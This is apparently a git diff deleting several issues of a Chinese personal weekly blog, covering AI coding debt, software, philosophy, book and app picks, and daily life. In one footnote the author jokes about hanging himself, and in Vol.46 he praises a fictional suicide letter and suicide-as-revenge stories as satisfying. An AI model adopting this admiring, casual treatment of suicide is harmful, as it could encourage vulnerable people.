-这样的代码由于没有人能看懂(或者说需要耗费很多不必要的时间精力才能读懂),维护起来十分困难,也就形成了所谓的「技术债务」(Technical debt)——而那些**过度依赖 AI 编程的人,正在以极高的速度产生这样的技术债**。这一现象在那些没有任何编程基础的人身上尤为明显:一开始,他们惊叹于 AI 的能力,觉得现在不需要学编程也能做软件了;过不了多久,他们会发现自己完全读不懂代码库里的代码,不明白那些文件和目录是什么意思(不仅他们,其他人来了也看不懂);他们需要依靠 AI 继续产出更多的看不懂的代码来修复那些看不懂的代码产生的问题,并在这个过程中反复产生技术债——==让不懂编程的人用 AI 编程,就像把信用卡交给那些不明白「债务」是什么的小孩子一样,一开始,他们为能到任何想要的东西而高兴,一个月后,他们看着账单惊恐不已,发现自己根本不知道应该怎么办,只好继续借贷,用新的债务偿还已有的债务。== - -作者认为,AI 编程工具应该交给那些清楚其利弊得失,能够用人眼读懂代码的人来使用,因为「构建理论」依然是构建软件的重点,程序员就算没有自己在写代码,也应该理解自己每时每刻在干些什么。此外,作者并没有否认 Vibe coding 的价值,他认为 Vibe coding 很适合用来做软件原型和那些用完就扔的代码。 - -#### 我的观点 - -我曾经写过一篇题为《[AI 正在让人变得前所未有地自以为是](/posts/ai-正在让人变得前所未有地自以为是/)》的言辞激烈的批评,这也是博客上浏览量最高的文章,在当时引发了不少争议。被转发到社交媒体上之后,有一部分人并没有来我的博客评论,而是在社交媒体上将我评价为「感觉这个作者破防了」「读完了,一个程序员在无能狂怒」,用夸张的网络热词指出我的情绪,但**回避直接回应我的观点**。[^2]周刊中提到的这篇文章中的观点与我四个多月前表达过的观点是类似的,但这位作者的语气更加平和,尽管他直接把那些自以为是者比做「不懂事乱刷卡的小孩子」——我承认,这是个更具侮辱性且更聪明的比喻。 - -[#AI](/tags/ai/) [#编程](/tags/编程/) - -### 小而美就够了 - -> [!note] 📜 -> 文章链接:[Do things that don't scale, and then don't scale.](https://derwiki.medium.com/do-things-that-dont-scale-and-then-don-t-scale-9fd2cd7e2156) - -Scalability 是软件过程中的一个概念,中文里叫做「可规模性」「可拓展性」或「可缩放性」,用于衡量软件系统能够处理大规模数据的能力。 - -作者认为,如今的编码成本变低了,人们不需要制作可规模性很好的软件来供所有人使用,人们可以用更简单的编码工具(当然是指 AI 辅助编程)构建只满足自己或身边人需求的软件。作者还认为,规模越大不代表越好,他用 Slack 群组举了个例子——在一个小于 100 人的群聊里,大家都彼此熟悉,而且很聊得来;如果规模增加,大家彼此都会变得陌生,不知道发出来的消息会有谁回复——增长不总是会让事情变得更好。作者还说,他以前还做过一个把自己的 Instagram 更新自动做成明信片发送给他母亲的软件,当他把这个软件开放给其他人注册使用后,他发现了很多滥用情况,自己还可能面临法律责任,于是关闭了新的注册,他觉得只满足一小部分人的需求就够了。 - -#### 我的观点 - -在以前,花时间写那种只能给一部分人用、自己用,甚至用完就丢的代码可能很可笑,但与上一个条目的观点不谋而合的是,AI 编程非常适合写那些「用完就丢」的代码,以及那些规模较小、需求明确的软件。作者也承认这种「Don't scale」的思想并不适合商业软件,我认为他的想法更像是「与其开个家具公司,不如只在自己家里锯木头」,我倒是很喜欢这种态度。 - -[#软件](/tags/软件/) [#设计](/tags/设计/) - -## ⁂ · 星群 - -### Lazy Brush - -一个 JavaScript 库,提供了可以用于绘制平滑曲线和直线的工具。算法的原理很有意思,就像用链子拖着一个摩擦力很强的球画画一样。 - - - -访问:[Lazy Brush](https://lazybrush.dulnan.net) - -### Hyperclay - -Hyperclay 允许 Web 开发者创建可以自修改的 HTML 文件,当开发者直接在网页中修改内容(比如勾选复选框、编辑表单……)时,Hyperclay 会直接把更改写入这个文件本身,保证页面刷新之后变更的内容依然保留。 - -作者说现代的 Web 应用往往需要维护复杂的基础设施才能实现数据持久层,比如数据库、API 和一个服务器,但静态网站又无法保留数据,所以他开发了 Hyperclay,允许开发者像玩粘土、使用实物一样保留 Web 应用中的数据。他认为个人博客、个人财务统计、开发日志等简单的 Web 开发需求都可以用「可塑的 HTML 文件」实现——你只需要直接在网页中修改内容,然后分发这个自动更新后的版本,而不需要读写数据库并支付高昂的服务费用。 - -Hyperclay 仍在早期开发阶段,你可以在官网通过电子邮件订阅更新,作者声称会在接下来的几天内开放 Early Access。订阅之后你会收到一封欢迎邮件,作者说如果回复邮件介绍自己,他会让那些真正感兴趣的人先试用 Hyperclay。不过我不打算去凑热闹了。 - - - -访问:[Hyperclay](https://hyperclay.com) - -## ∬ · 切片 - -- 暂时还养不了狗,但已经想好狗狗名字了!(有点像青春期少女对着暗恋对象幻想美好生活提前想好孩子的名字)——想养一只名字叫「耶树」的萨摩耶。 -- 当我看完一期视频,发现里面出现的梗我一个都看不懂的时候,我的微笑难以抑制。 - -[^1]: 他在视频里好多次描述了那种开会的场景,每次听到我都觉得头皮发麻。我要是真的需要经常做这样的回报,我大概迟早会上吊自杀的。 - -[^2]: 我还能期待什么呢?毕竟那是社交媒体,大部分人只看得到情绪并做出本能反应,并没有能力理性地沟通。 diff --git a/content/posts/weekly/44.md b/content/posts/weekly/44.md deleted file mode 100644 index e661b3b1..00000000 --- a/content/posts/weekly/44.md +++ /dev/null @@ -1,168 +0,0 @@ -+++ -title = "稻草人周刊 Vol.44" -subtitle = "Man's Best Friend" -tags = [ - "计算机", - "消费主义", - "广告", - "软件", - "设计", - "哲学", -] -date = 2025-09-01 12:14:00 -categories = "稻草人周刊" -draft = false -toc = true -banner = "https://r2.eltr.ac/uPic/2025/09/hannah-domsic-2_gJeve_CBY-unsplash.jpg" -endnotes = [ - "封面图作者为 Hannah Domsic,来自 [Unsplash](https://unsplash.com/photos/autumn-leaves-on-body-of-water-2_gJeve_CBY)", -] -aliases = [ - "/posts/weekly/44", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="450" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/mans-best-friend/1819861154"></iframe> - -单身的欧美乐迷在七夕节有 Sabrina 的新专辑听,不需要男人,*尽管这张专辑的名字叫做《Man's Best Friend》*。我尤其喜欢《Tears》这首歌,不过歌词嘛…… - -> I get wet at the thought of you, -> -> Being a responsible guy, -> -> Treating me like you're supposed to do. -> -> Tears run down my thigh. - -我意识到自己一直没有做出什么很符合人们对男同的刻板印象的事情,所以,既然氛围到了,我就在这里放一个很 Gay 的 Emoji 吧:💅 - -<!--more--> - -## ↯ · 当下 - -- 博客做了一些改动 - 1. 调整了超链接的样式,现在不再是蓝色,下划线的颜色也不那么显眼了,避免超链接起到不该有的强调作用(强调文本应该用粗体或者高亮样式)。 - 2. 书评页面的底部会显示图书馆中存在的、同一个作者写的书。 - 3. 现在目录显示在页面右侧;以前目录只会显示在普通文章中,现在书评页面和[关于页面](/about/)也会显示目录了。 - 4. 脚注(`littlefoot.js`)的样式做了调整,现在更小巧;解决了箭头和按钮对不齐的问题;移动端的样式也得到了改善。 - 5. 根据本站的 Umami 统计,搜索是一个低频操作,所以我移除了 ⌘K 这个快捷键;现在搜索 UI 显示在和标签以及文章系列整合在一起的[搜寻](/categories/)页面中。 - 6. 优化了文章页面的加载速度,一些阻塞页面渲染的脚本会延迟加载。 - 7. 其他样式微调,包括新的交互动画。 - 8. 新增了一个[空页面](/blank/)。 -- 去医院复查癫痫,医生把我这个学计算机的当成了艺术生(大概是因为长发且穿着考究),我好像已经习惯了,毕竟我博客的读者可能也觉得比起技术,我对文学和哲学更感兴趣。 -- 趁着假期最后一两个星期,开始研究希腊神话,结果一开始就被各种乱伦和阉割创死了,*以及爱与美的女神阿芙罗狄忒怎么是乌拉诺斯的阳具啊喂!?* - ---- - -## ↺ · 回拨 - -> [!note] 🔍 -> 这是八月的最后一期周刊,在此进行八月的文章回顾,精选了我认为不错的内容。 - -- [F.U.C.K. 工作法](/posts/fuck-工作法/) <br/> - 戏谑地模仿了 PARA 工作法和 CODE 工作法,分享了我个人记笔记的一些心得体会。我的主要观点是:锻炼真正的记忆才是更重要的,思考能力也是,而不是把思考和记忆全都交给一个所谓的第二大脑,无论是笔记软件还是 AI。 -- [为什么请教 AI 和占卜算命极其相似?](/posts/为什么请教ai和占卜算命极其相似/) <br/> - 首先,向 AI 和占卜师发问的第一步都是组织语言把自己的问题描述出来,而两者回答这个问题的方式也是相似的,都是借助随机性和统计学(只不过一个基于计算,另一个基于卡牌或其它的工具)。最重要地,人们向 AI 和占卜师寻求帮助的目的在很多时候是相似的,都是为了消除不确定性,试图找到一个答案。人们很多时候并不在乎答案是否正确。 -- [物品的解放](/posts/物品的解放/) <br/> - 本文阐述了在我眼里人与物品的关系——人经常将自我的一部分投射到外物当中。这种情感链接使得人们收藏物品,也导致了不健康的囤积行为。囤积的本质是情感问题未能得到解决——人们不愿割舍的并非物品,拥有物品也是一种枷锁,厌恶损失、痴迷获取本质是一种作茧自缚,解放物品实质上也是在解放自己。 - -八月的文章质量相比七月依然是下滑的状态,自裁!自裁!大概是因为直到 12 号,我的感情问题才得到了结,而在那之后我一直生活在[余震](/posts/%E4%BD%99%E9%9C%87)里,到八月的最后几天才缓过神来吧。一切都会好起来的,毕竟夏天已经过去了。 - ---- - -## ⋈︎ · 连接 - -### 屏幕的工作原理 - -> [!note] 📜 -> 文章链接:[How does a screen work?](https://www.makingsoftware.com/chapters/how-a-screen-works#how-an-lcd-works) - -作者在写一本关于软件开发的书,但第一个章节他选择了讲解计算机中最少被提及但也最重要的硬件,甚至可以说,如果没有现代的显示技术,计算机的形态将会大不相同。作者简要地讲解了屏幕显示技术的发展历史、现在常用的两种屏幕(LCD 和 OLED)及其技术原理、显示器的未来发展等等。作者认为,对开发软件的程序员来说,理解屏幕的工作原理对软件开发也十分重要,否则在理解色彩显示的各种限制和权衡取舍时,会觉得莫名其妙。 - -这篇文章的语言较为通俗,除了少部分物理学、光学和计算机科学的专有名词可能需要查阅词典之外,任何人都可以花半小时到四十五分钟的时间读一读。 - -#### 我的观点 - -作者在文章的最后写了这样一句话: - -> If you made it to this point without losing the will to live, congrats, you have the same type of mental illness that I do and you are in the exact right place. -> -> 如果你读到这里还没有想死的话,恭喜,你和我疯得一模一样,而且你算是来对地方了。 - -我在想,我的这种好奇心是不是真的只有为了一盘醋包饺子的「疯子」才会有呢?无论如何,我都认为,如果自己每天都要面对和使用某项技术,从底层理解它是有必要的,否则容易陷入对技术的过度想象(看看人们是怎么想象 AI 毁灭世界的吧!),脱离实际,把科学当成魔法一样的存在。 - -[#计算机](/tags/计算机/) - -### 网购服装「货不对板」的系统性成因 - -> [!note] 📜 -> 文章链接:[为什么网购总买不到满意的衣服?拆解「货不对版」的系统性成因 - 少数派](https://sspai.com/post/101980) - -作者作为从业者,解释了在网上买衣服「货不对板」的复杂原因——并不是商家单方面的故意偷工减料,而是在整个服装市场,人们普遍更愿意在成本更低却立竿见影的宣传投入资源,对于设计和产品质量,由于成本更高且见效更慢,通常被人们忽视了。又因为大多数人都把营销看得很重,那些轻营销、重质量的品牌则被挤压了生存空间,使得市场趋于「低质量、高包装」的状态。 - -对于消费者来说,高包装意味着高期待,而期待和实际产品之间的差距则加剧了心理落差,加重了「货不对板」的直观感受。讽刺的是,这些包装、宣传的成本最终也会以各种形式落到消费者的头上。 - -#### 我的观点 - -我一直觉得,很多产品和服务的成本根本对不起它们的价格,但销售人员却极力说服你这笔交易很值,让你忽视各种客观因素、陷入幻觉当中。很多时候,人们付钱买的不一定是服务,买到的是来说服你花这笔钱的人。从我自己的兼职经历中,我发现我所工作的教培机构的市场部的人员规模要远远大于教学部的人员规模,这家工作花在招生和转化上的成本要远远大于实际教学的成本,然而我却经常听到市场部的员工说服学生这笔钱花了有多么值、对自己多么有帮助。 - -因此,我抗拒推销,推销表面上是让顾客发现好的产品,但实际上是求着顾客给推销员佣金(包括推销员手上的传单、推销员所受到的话术培训,最终都是顾客付钱买的)——究竟在什么地方,我才不需要为广告付钱、为那些引诱我消费的宣传付钱,真正地为好的商品买单?这似乎没办法做到。更可悲的是,如今有成千上万的人在想购买商品时找所谓的「评测视频」,到直播间里自愿被带货——不知何时,给自己找广告看居然成了常态。 - -我认为,比起相信推销员、相信「评测」、相信直播间,不如去找身边真实的人。如果找不到真正体验过商品或服务的人,那自己就去做那个人——去尝试不同的品牌并做出自己的判断,并持续地光顾自己认为好的店铺。 - -[#消费主义](/tags/消费主义/) [#广告](/tags/广告/) - -## ⁂ · 星群 - -### FocusFlight - -中文名为「专注飞机」,是 iOS、iPadOS 和 macOS 上的专注时钟应用。在包括笔记软件和番茄钟软件泛滥成灾的今天,我认为 FocusFlight 开辟了一条很新的路。 - -FocusFlight 把每一次专注比作一次「模拟飞行」,用户可以通过选择航班来到达地球上的不同地方,软件会根据距离计算飞行时长,而飞行时长就是用户在这次模拟飞行中的专注时长。我认为,比起新奇,这种设计有很多好处: - -1. **仪式感**。每次选择航班都会有选择座位(选择专注场景)、打印登机牌、检票的动画,在这些「无用步骤」完成之后才会出现「起飞」按钮。这看起来本末倒置,却能够作为一套工作前的「启动仪式」。就我而言,我在阅读、写作、写代码之前往往会有一些繁琐的准备工作,比如把手机放到另一个地方、拿出笔记本、调整座椅等等。在使用 FocusFlight 时,我可以先决定接下来要做什么(选择航班、检票……),然后在正式起飞之前磨蹭一下,完成准备工作,然后再正式起飞。这有点像登机之后找位置、放好行李的步骤,为接下来长时间的专注提供了一个缓冲时间,显得不那么急迫。 -2. **沉浸感**。起飞之后,用户能在地图上看到飞机从 A 点到 B 点的飞行路径,也可以切换到「舷窗视角」,透过飞机的窗户观察移动的云层。作为专注应用来说,白噪音当然也少不了;比起雨声和海浪声,其实我更喜欢 FocusFlight 默认的飞机飞行时产生的噪音,听起来很舒服。这种沉浸感给我一种我真的在飞机上,现在除了干好要做的事情什么也做不了的感觉。 -3. **鼓励更多的专注时间**。用户通过模拟飞行抵达一个地点之后,就会留在那里,可以通过下一次的专注飞行去往另一个地方。我选择的起始地点是重庆,在那之后就一直在往西北方向飞行,期待有一天能飞到北欧。如果心中有一个目的地或期望的飞行轨迹,就会更愿意专注下来。 - -这种设计也有缺陷,作为一个专注应用,用户不能自行选择专注时间,因为从一个机场到另一个机场的距离和飞行时间都是固定的,而且,如果飞到一些人烟稀少的地方,周围可供选择的机场就很少,对专注时间的选择就更加局限(虽然大部分情况下还是能找到 40 分钟左右的「航班」)。不知道未来开发者会不会解决这个问题。 - -{{< gallery >}} - - - - - -{{</ gallery >}} - -访问:[App Store 中的 "FocusFlight"](https://apps.apple.com/us/app/focusflight-deepfocus-timer/id6648771147) - -### DockDoor - -MacOS 上的工具软件,开源且免费,提升窗口切换的体验。将鼠标移动到 Dock 栏上的某个已启动应用的图标上时,就会显示这个应用的所有窗口。对于日历应用和 Apple Music,还会相应地显示今天的日程和正在播放的音乐。 - -按下 ⌥+Tab 键,就能像 ⌘+Tab 一样切换窗口,但 DockDoor 使得你能在切换时看到所有的窗口,而不是只能看到图标。不过我还是更喜欢在触控板上三指上划打开调度中心。 - -{{< gallery >}} - - - -{{</ gallery >}} - -访问:[DockDoor](https://dockdoor.net) - -## ※ · 妙语 - -{{< quotecard >}}ὁ δὲ ἀνεξέταστος βίος οὐ βιωτὸς ἀνθρώπῳ{{</ quotecard >}} - -这句古希腊文出自苏格拉底,意思是:**未经审视的人生是不值得过的。** - -审视的意思是用理性思考做出自己的判断,而不是听从社会主流意识形态。在主流价值观的驱动下,人们很容易陷入和其他人相同的人生路径,或者用别人的标准衡量自己是否幸福。不是所有人都想要生儿育女,但很显然大部分人都这么做的,这是因为他们的意识形态认为这是「应该的」,他们主动地把关于人生的思考让渡给了别人,没有思考「应该的」究竟是不是「适合自己的」。苏格拉底认为,就算接受主流价值观,那也应该是自己理性思考之后做出的判断。 - -苏格拉底认为缺少自我反思和独立思考的生活是无意义的[^1]。苏格拉底的另一句名言是:我知道我什么都不知道。在具体的自我审视当中,审视自己的无知也是有必要的。人们更容易关注自己知道的东西,但若是不清楚自己的知识盲区、视野盲区和认知盲区在哪里,就没有拓展的空间——认识自己的无知是通往智慧的第一步。 - -[#哲学](/tags/哲学/) - -## ∬ · 切片 - -由于各种不成文的想法、吐槽和日常分享都放在了 [Telegram 频道](https://t.me/geedeapro)里,所以「切片」这个栏目在之后就不会出现在周刊里了。 - -[^1]: 参见:[The unexamined life is not worth living - Wikipedia](https://en.wikipedia.org/wiki/The_unexamined_life_is_not_worth_living#:~:text=Socrates%20believed%20that%20a%20life%20devoid%20of%20introspection%2C%20self%2Dreflection%2C%20and%20critical%20thinking%20is%20essentially%20meaningless%20and%20lacks%20value.) diff --git a/content/posts/weekly/45.md b/content/posts/weekly/45.md deleted file mode 100644 index a93b6a29..00000000 --- a/content/posts/weekly/45.md +++ /dev/null @@ -1,89 +0,0 @@ -+++ -title = "稻草人周刊 Vol.45" -subtitle = "火鸡的错觉" -tags = [ - "哲学", - "经济学", - "认知", - "编程", - "自我", - "健康", -] -date = 2025-09-08 07:47:00 -categories = "稻草人周刊" -draft = false -toc = true -aliases = [ - "/posts/weekly/45", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/the-dead-dance/1837298856?i=1837298858"></iframe> - -Lady Gaga 为网飞剧集《星期三》制作的单曲 Dead Dance 发布。借着这个契机去看了这部剧,奇幻的世界观设定和主角的性格都是我很喜欢的类型,不过目前看来剧情还算一般。 - -<!--more--> - -## ↯ · 当下 - -- 这期周刊内容可能比较少,因为这周大部分时间都在路上。三号的时候从家回到了学校,五号的时候和之前约好一起合租的朋友去看了房,周末的时间一直在做清洁和搬家。不过搬家其实还算轻松,因为全部打包好之后就叫了货拉拉搬家,全程没有自己动手。 -- 这次和一个朋友合租了一个两室一厅。费用会少一些但差别并不大,主要是获得了更宽敞的空间。两个能够互相尊重边界感并且生活习惯良好的人同住一室,肯定要比宿舍里随机掉落的傻逼好太多了,能相互照应也是一件好事。 -- 烫了个莱斯利卷,是去理发店最难受的一次,因为捆得太紧,还在机器下加热了十几分钟,真的又热又痛。好在效果还不错,完全把自己的细软塌发质撑起来了,~~就是头发变短了之后变得有点像小母 0。~~ -- GitHub 的学生认证可能是我见过最麻烦的学生认证,不能上传照片必须拍照,这导致我必须用手机操作。上传学生证照片之后,审核人员没看到照片里的钢印,称照片里「没有学校名称」,再加上我没有完善账单信息(也就是没有填写真名),就没有通过;改完名字之后还要我退出登录之后重新登录,这之后才能再次申请…… 这的确比大部分只需要一个教育邮箱就能申请的学生认证更有效,但也真的劝退了我这个怕麻烦的真学生。 - -## ⋈︎ · 连接 - -### 火鸡的错觉 - -> [!note] 📜 -> 文章链接:[火鸡的错觉 - 太隐](https://wangyurui.com/posts/huo-ji-de-cuo-jue-7519df30) - -假设养大一只火鸡需要 1000 天,在第 1001 天,火鸡将被宰杀。在火鸡的眼里,他每天会被喂食,安全感和对人类的信任会与日俱增。如果用精确的数学模型来计算,火鸡所面临的「风险」应该是逐日递减的——被喂食并存活的天数越多,下一天仍然安全的概率就越高,风险也就越低。这种精确的预测与事实恰好相反,因为它完全没有考虑可能会发生的未知事件。「火鸡的错觉」是一个金融投资领域的概念,指出人们不应该把短期规律视为长期必然,很多时候精确度量和预测得出的「安全」可能只是风险的积累。 - -这篇文章提到了很多金融相关的概念,我缺乏这方面的知识,就不展开了,读者可以自行阅读原文。 - -#### 我的观点 - -我其实想从一个奇特的视角理解「火鸡的错觉」。 - -如果火鸡清楚地知道自己在第 1001 天就会被杀掉,它的生活会变得怎样?无力挣扎从而陷入抑郁当中,接受现实然后向死而生,还是用一千天的时间啄出一个通道,上演一场《肖生克的救赎》?如论如何,清楚自己注定的死亡终究会导致暂时或者长久的痛苦——人和火鸡的区别就是,人大概知道自己生命的尽头何时会到来,因此,人无法像火鸡一样在宝贵的 1000 天生命里享受真正的幸福和安全感,至少人需要很长的时间接受自己终会死亡的事实。既然尽头都是死,那做一头快乐的猪,或许不比正确的悲观者差(或许另一个选项是做一个乐观的成功者)。 - -不过,我明天出门的时候就有可能被车撞死,要是我没有意识到这一点,或许这才算是真正的「火鸡的错觉」。 - -[#哲学](/tags/哲学/) [#经济学](/tags/经济学/) [#认知](/tags/认知/) - -### Rust 带来的意想不到的生产力提升 - -> [!note] 📜 -> 文章链接:[The unexpected productivity boost of Rust](https://lubeno.dev/blog/rusts-productivity-curve) - -Rust 是一门以安全性著称的编程语言,作者在这篇文章中阐述了 Rust 严格的编译器是如何帮助自己提升编程效率的。简单来说,Rust 能够在编译时预测潜在的由并发导致的问题,相似的问题却无法在 TypeScript 编译器中检测到;作者还对比了 Zig 语言,他说 Zig 和 TypeScript 一样「吓人」。 - -由于编译器十分严格,许多难以发觉的错误在编译阶段就不会通过,这既保证了软件的安全性,也让开发者在编程时更安心,毕竟那些匪夷所思的 Bug 都被编译器挡在门外了。 - -#### 我的观点 - -我了解到有不少程序员会在配置好框架之后,想办法关掉开发环境中的代码格式化工具和 Linter 等保证编码质量的工具,因为这样的工具会把一些本身不会影响程序正常运行,甚至不会给出警告的代码拦截掉,无法编译和运行。这样舒适的开发体验是通过潜在的风险换来的,而且这种「懒得处理额外的报错」的心态实际上并不会提升写代码的效率。换句话说,「心急吃不了热豆腐」。[^1] - -不知道为什么,当作者把 TypeScript 和 Zig 描述为「吓人」的时候,我联想到了我自己对于尖锐物品的恐惧。我身边有不少人对刀具的使用毫无顾虑——我的一个朋友一边玩聚会游戏一边切水果,她拿着刀上上下下的样子真的把我吓了个半死;我的父亲用水果刀拆快递,由于快递里面还有一层盒子,他没有把刀放下,而是把刀尖朝上(对准自己的头)往上用力把里面的盒子拔出来,如果用力过猛、摩擦力突然减弱,那把刀完全有可能插进他的眼睛里…… 不只是写代码,许多人在现实生活中就是这样不在乎生命安全,对风险熟视无睹。我对刀具的使用规则是,切完之后必须放回原位,如果有套子就套起来,如果要平放在桌子上,至少要把刀尖对着远离人的方向,并且一定不能放在桌子边上。==对危险物品保持警惕能够保证你的人生安全,就像使用更严格的编译器能保证你的软件安全一样——无论在做什么,都不应该为了方便而牺牲安全。== - -[#编程](/tags/编程/) - -### 如何拥有强大的内核? - -> [!note] 📻 -> 播客链接:[249-如何拥有强大的内核? - 独树不成林](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000725244335) - -伪装成鸡汤的运动博客。树老师在这期节目里通过健身的核心训练聊到了如何锻炼心理上的强大内核。和核心力量一样,个人的内核是不外显的部分,拥有强大的核心力量不能让自己能做更多事情,拥有强大的内核也不能锻炼出更多的技能,但是核心不稳定会让自己没办法做很多事情,或者在做很多事情的时候感到身体不稳。 - -树老师把自我的内核定义为「我不想成为什么样的人」,她认为自我是由过去自己所做出的各种决定构成的,这种决定往往是在外界压力下做出的「我不想做这种事情」的决定,能够在压力下坚持自我做出这种决定就是内核强健的体现,就像健身时能用强大的核心力量控制身体不要弯曲、晃动一样。 - -锻炼核心力量的方式是抗阻力和抗弯曲训练,比如平板支撑。锻炼强大的内核要做的也是对抗某种外力,在被外界逼迫要做出某种决定的时候,要清楚自己是有选择的,应该问问自己「我究竟想不想要做这件事情?」 - -#### 我的观点 - -说到运动与自我,我的灵感笔记里一直躺着这样一条记录「生命应当是流动的」。这句话的灵感也来自健身,意思是人是由自己的习惯组成的,许多成就和特质并非一蹴而就。就像一个人是否拥有肌肉线条,是由他的锻炼习惯决定的,而不是在过去的时间里做过多少个卷腹和卧推,一时的激情并不能决定任何事情,也就是说,短暂的努力是无用的。生命应当是流动的,意思是一个人生命的质量是持续流动的水流决定的,如果只是一时倾泻而下,在大部分的时间里并不会有多大影响。如何保持水流的稳定,就是如何锻炼强大且稳健的内核。 - -[#健康](/tags/健康/) [#自我](/tags/自我/) - - -[^1]: 真的是慢慢长大了才会发现那些以前听起来很蠢的教育小孩的话真的是对的, diff --git a/content/posts/weekly/46.md b/content/posts/weekly/46.md deleted file mode 100644 index 90ae1cb5..00000000 --- a/content/posts/weekly/46.md +++ /dev/null @@ -1,171 +0,0 @@ -+++ -title = "稻草人周刊 Vol.46" -subtitle = "Big O" -tags = [ - "计算机", - "理财", - "效率", - "健康", - "AI", - "生活", -] -categories = "稻草人周刊" -date = 2025-09-15 07:59:00 -draft = false -toc = true -aliases = [ - "/posts/weekly/46", -] -+++ -{{< music cover="https://r2.eltr.ac/picgo2025/9312a91249d2b11a.png" title="love is embarrassing" artist="Olivia Rodrigo" apple="https://music.apple.com/cn/album/love-is-embarrassing/1736994915?i=1736995818" spotify="https://open.spotify.com/track/26QLJMK8G0M06sk7h7Fkse" netease="https://music.163.com/#/song?id=2080218509" >}} - -恭喜你发现了新的音乐组件!之前一直用 Apple Music 的 `iframe` 嵌入,其实对大多数用户来说都不太友好,于是自己做了一个链接到各个流媒体平台的音乐展示组件。 - -本周推荐的歌曲是 Olivia Rodrigo 的《love is embarrassing》,我对她的音乐风格有何特点说不出个名堂来,只知道是另类摇滚,但我可以说这首歌很大胆、直接且生动地描绘了 Z 世代混乱、拧巴、痛苦,充满自我折磨的感情生活,至少我十分感同身受。这周跑步的时候就在循环这首歌,跑起来有一种力量从下往上涌现的感觉,好像下一秒就要张牙舞爪地狂奔了。<!--more--> - -> Just watch as I crucify myself. -> -> …… - -> I give up, give up -> -> I give up everything -> -> I'm planning out my wedding -> -> with some guy I'm nevery marrying -> -> I'm giving up, I'giving up -> -> but I keep coming back for more. - ---- - -## ↯ · 当下 - -- 不知不觉就把《绝望的主妇》整整八季全看完了。 -- [搬家](/posts/逃离独居生活/) 基本完成,给新家购置了一些新家具和装饰,还拥有了一个专门用来写字和做手帐的小桌子,和电脑桌分开。有大把的闲暇时间时,宅在家里还挺惬意的。 -  -- 周四得知**多抓鱼**巡游商店来重庆了,周六就和室友一起去逛,很喜欢在书堆里挑书的感觉。我买了五本,大多是外国文学,分别是《十三封自杀告别信》《维罗妮卡决定去死》《血清素》《The Design of Everyday Things》和《设计诗》。目前正在读第一本,很喜欢字里行间透露出来的那种「冷静的疯感」,这里引用书中的一段: - - > 亲爱的妈妈: - > - >   非常感谢你精心分类和收藏的安眠药,这真为我省去了不少麻烦,也避免了许多不必要的准备工作。 - > - >   不错,如你所言,我们不能总是依赖药物。但是将它们白白浪费掉,又是多么可惜!这些药刚好够一个人吃。 - > - >   …… - > - >   迄今为止,我带给你的只有灰心和失望,对此我致以诚挚的歉意。 - - 用自己的生命给予自己痛恨却有着解不开的牵连的人以重击,类似的做法我在卡夫卡的《[判决](/library/2025/判决/)》里有读到过——主人公关爱父亲却一直受到父亲的凌辱,在某一天,父亲告诉他他应该去死,于是他就冲出家门从桥上跳了下去。很疯,很喜欢,读完觉得挺爽的。 -- 新学期的第一周换了一本秋刀鱼的 TN 手帐本做日程。喜欢定页本的书写体验,不喜欢活页本硌手的线圈,TN 是把几个较薄的定页本用松紧绳绑在一个书皮里的形式,很合适的折中设计,同一个本子里就自然分出了几个不同的区域。我目前用了两本内芯,一本是周计划,另一本是空白页,用于纯粹的记录。 - {{< gallery >}} -  - -{{</ gallery >}} -- 为博客添加了[设置](/settings/)界面。 - -## ⋈︎ · 连接 - -### The Big O Notation - -> [!note] 📜 -> 文章链接:[Big O](https://samwho.dev/big-o/) - -作者很通俗地讲解了计算机领域中常见的大 O 标记(即时间复杂度的表示方式),通过几个示例函数(比如冒泡排序和二分搜索)讲解了四种标记的含义(常数时间、线性时间、平方时间和对数时间)。时间复杂度是算法设计与分析中的常见术语,是很基础的计算机知识,就算不是专门做算法的,在写代码时刻意地选择时间复杂度更低的做法也有助于写出性能更好的程序。 - -作者 [Sam](https://samwho.dev) 用可视化的方式讲解了时间复杂度,除此之外,他的主页还有很多有趣的作品,可以去看看。 - -#### 我的观点 - -我时常在阅读计算机相关的英文文本中见到 Big O Notation 这个词,但由于在文本中出现时这个词往往没那么重要,我就一直没理解也没去查阅这个词的含义。读了这篇文章之后我才发现,Big O Notation 就是用来表达时间复杂度的「大 O 标记」,只不过我身边的人很少把 `O(...)` 读成「大 O」而已,我们只会说某某函数的时间复杂度是 1、N、N 平方或对数的。英文里 Big O 的说法更常见,可能是因为 Big O 比 Time Complexity 更言简意赅吧。 - -#计算机 - -### 关于记账 - -> [!note] 📜 -> 文章链接:[记账 3000+ 天,我的记账体系是怎么迭代的](https://sspai.com/post/99311) - -作者分享了他记账体系迭代的过程,从养成习惯到一步步把工具调整得更加趁手。和所有的记录一样,记账能够帮助了解自己是如何看待金钱的,也能帮助自己分析消费习惯和金钱心理的变化。除了文章内容,本文下方的评论区也有不少有趣的记账方式,有的人只用一张借记卡和一张信用卡,用它们自带的分析工具就能做到不手动记账;有的人偏好从各个支付软件导出账单;有的人和我一样,每消费一笔记录一次,或者是一天一记。至于工具,有的人用 Excel 或 Notion,有的人用专门的记账 App,也有人经历过 App 关停丢失数据从此不再相信第三方应用…… - -总而言之,如果你也有记账习惯,或者想了解一下个人记账的各种方法,这篇文章以及它的评论区应该多少会有一些能帮助到你的内容。 - -#### 我的观点 - -我一直很不习惯使用一些记账 App 提供的「资产管理」功能,这种功能模块能够追踪每一笔消费用了哪个账户里的钱,用了什么信用卡或者花呗,会统计用户的资产和负债并计算净资产;不过,每一笔花费都要标记相应资产其实会让记账变得麻烦,而且我很多时候会忘记,这就会让「资产管理」里的统计变得不准确。 - -评论区里 [@lc4t](https://sspai.com/u/lc4t0_0/updates) 